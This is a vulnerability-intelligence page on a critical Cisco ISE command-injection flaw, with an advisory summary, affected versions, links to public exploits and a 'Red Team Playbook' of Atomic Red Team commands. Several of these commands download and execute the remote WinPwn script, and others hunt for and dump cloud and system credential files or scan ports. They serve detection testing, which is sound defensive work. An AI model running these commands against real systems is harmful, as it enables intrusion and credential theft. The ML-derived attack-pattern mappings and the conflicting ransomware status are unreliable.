CVE-2025-20281

CRITICAL CISA KEV POC TTE 1d Pub 25/06 Upd 26/02

Overview

This vulnerability is a command injection flaw caused by insufficient validation of user-supplied input within a specific API endpoint of Cisco Identity Services Engine (ISE) software. The affected component is the deployment-rpc API, specifically the enableStrongSwanTunnel function, which processes crafted requests without proper sanitization. The lack of input validation allows malicious payloads to be executed on the underlying operating system with root privileges.

Vulnerability Description

A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the affected device with root-level privileges. No authentication or user interaction is required, enabling full system compromise. This access allows the attacker to manipulate system configurations, extract sensitive data, disrupt services, or move laterally within the network, posing a critical threat to organizational security and operational continuity.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Identity Services Engine Software version 3.3.0 and its patch releases. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-ise-unauth-rce-ZAd2GnJ6 available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6. Following the advisory's instructions for upgrading to the fixed versions or applying recommended mitigations is essential to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the API of Cisco Identity Services Engine (ISE) and its Passive Identity Connector (PIC) stems from inadequate validation of user-supplied input. This flaw allows an unauthenticated remote attacker to craft specific API requests that can lead to arbitrary code execution with root privileges on the underlying operating system. The lack of stringent input validation means that the system does not properly check the integrity or authenticity of the incoming data, which can be exploited to manipulate the execution flow of the application. This critical oversight poses a significant threat, as it opens the door for attackers to gain complete control over affected devices without needing any valid credentials.

Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the exposed API endpoints. An attacker could utilize automated tools to send crafted requests that exploit the input validation flaw. Given that the attacker does not require authentication, this type of attack can be executed from anywhere on the internet, making it particularly dangerous. Scenarios may include deploying malicious payloads that could lead to data breaches, unauthorized access to sensitive information, or even the establishment of persistent backdoors for future exploitation. The ease of access and the potential for severe consequences amplify the risk associated with this vulnerability.

The real-world impact of this vulnerability is profound, especially for organizations relying on Cisco ISE for network security and identity management. Successful exploitation could lead to unauthorized access to critical infrastructure, resulting in data theft, service disruption, or compliance violations. The business risks are substantial, including financial losses, reputational damage, and potential legal ramifications stemming from breaches of sensitive data. Organizations may face increased scrutiny from regulators and customers alike, particularly if they fail to implement adequate security measures in response to such vulnerabilities.

To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in the system. Implementing robust logging and monitoring solutions can also provide visibility into unusual API activity, enabling timely responses to potential exploitation attempts. Furthermore, applying security patches and updates provided by Cisco is crucial in addressing this vulnerability. Organizations should prioritize the deployment of these patches across all affected versions of Cisco ISE and PIC to minimize exposure. Additionally, employing input validation and sanitization techniques in custom applications interfacing with these APIs can further reduce the risk of exploitation.

In conclusion, the vulnerability in Cisco ISE and PIC represents a critical security concern that necessitates immediate attention from affected organizations. The combination of unauthenticated access and the potential for arbitrary code execution underscores the need for robust security practices. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing comprehensive detection and mitigation strategies will not only protect sensitive information but also help maintain the integrity and trustworthiness of their network infrastructure.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-20281, coinciding with a significant increase in the Exploit Prediction Scoring System (EPSS) score. This upward trend reflects growing attacker interest and the emergence of multiple new proof-of-concept exploits publicly available on GitHub, facilitating easier weaponization by threat actors. Although ransomware groups have not yet been definitively linked to active campaigns exploiting this vulnerability, the association with the Akira group underscores the potential for future integration into targeted operations. The combination of unauthenticated remote code execution with root privileges and heightened exploitation activity elevates the threat landscape, necessitating heightened vigilance. Consequently, the risk level for organizations running affected Cisco Identity Services Engine deployments has increased, as the window for opportunistic and targeted exploitation narrows rapidly.



Update 2 — July 04, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-20281, reflecting increased exploitation attempts targeting Cisco Identity Services Engine environments. This surge coincides with the proliferation of new unauthenticated proof-of-concept exploits publicly available on code-sharing platforms, which lower the barrier for adversaries to conduct remote code execution with root privileges. Although ransomware groups have not yet been definitively linked to active campaigns exploiting this vulnerability, the continued association with the Akira group remains a concern, as it suggests potential future weaponization in targeted intrusions. The persistence of a high EPSS score coupled with stable but elevated exploitation telemetry underscores that threat actors are actively leveraging this critical flaw. Consequently, the threat level for organizations running affected Cisco ISE deployments has intensified, warranting increased operational awareness and monitoring to detect and respond to exploitation attempts promptly.

Affected Products (18)

Vendor Product Version CPE
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch5:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch6:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.4.0 cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.4.0 cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch2:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch3:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch4:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch5:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch6:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.4.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.4.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:patch1:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE
Unauthenticated Python PoC for CVE-2025-20281 RCE against ISE ERS API
abrewer251 21 11 2025-06-27 View
grupooruss/CVE-2025-20281-Cisco
This script checks for the presence of the **CVE-2025-20281** vulnerability in Cisco Identity Services Engine (ISE) and ...
grupooruss 7 2 2025-07-03 View
ill-deed/Cisco-CVE-2025-20281-illdeed
Unauthenticated Remote Code Execution exploit for CVE-2025-20281 in Cisco ISE ERS API. Execute commands or launch revers...
ill-deed 5 2 2025-07-04 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

7 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2025-07-28
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-06-27
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
76% command_injection
Remote Code Execution
57% rce
Privilege Escalation
57% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
55%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
51%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High
CAPEC-135 Format String Injection
51%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
49%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-20281
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20281
zerodayinitiative.com
NVD API Exploit Third Party Advisory
https://www.zerodayinitiative.com/blog/2025/7/24/cve-2025-20281-cisco-ise-api-unauthenticated-remote-code-execution-vulnerability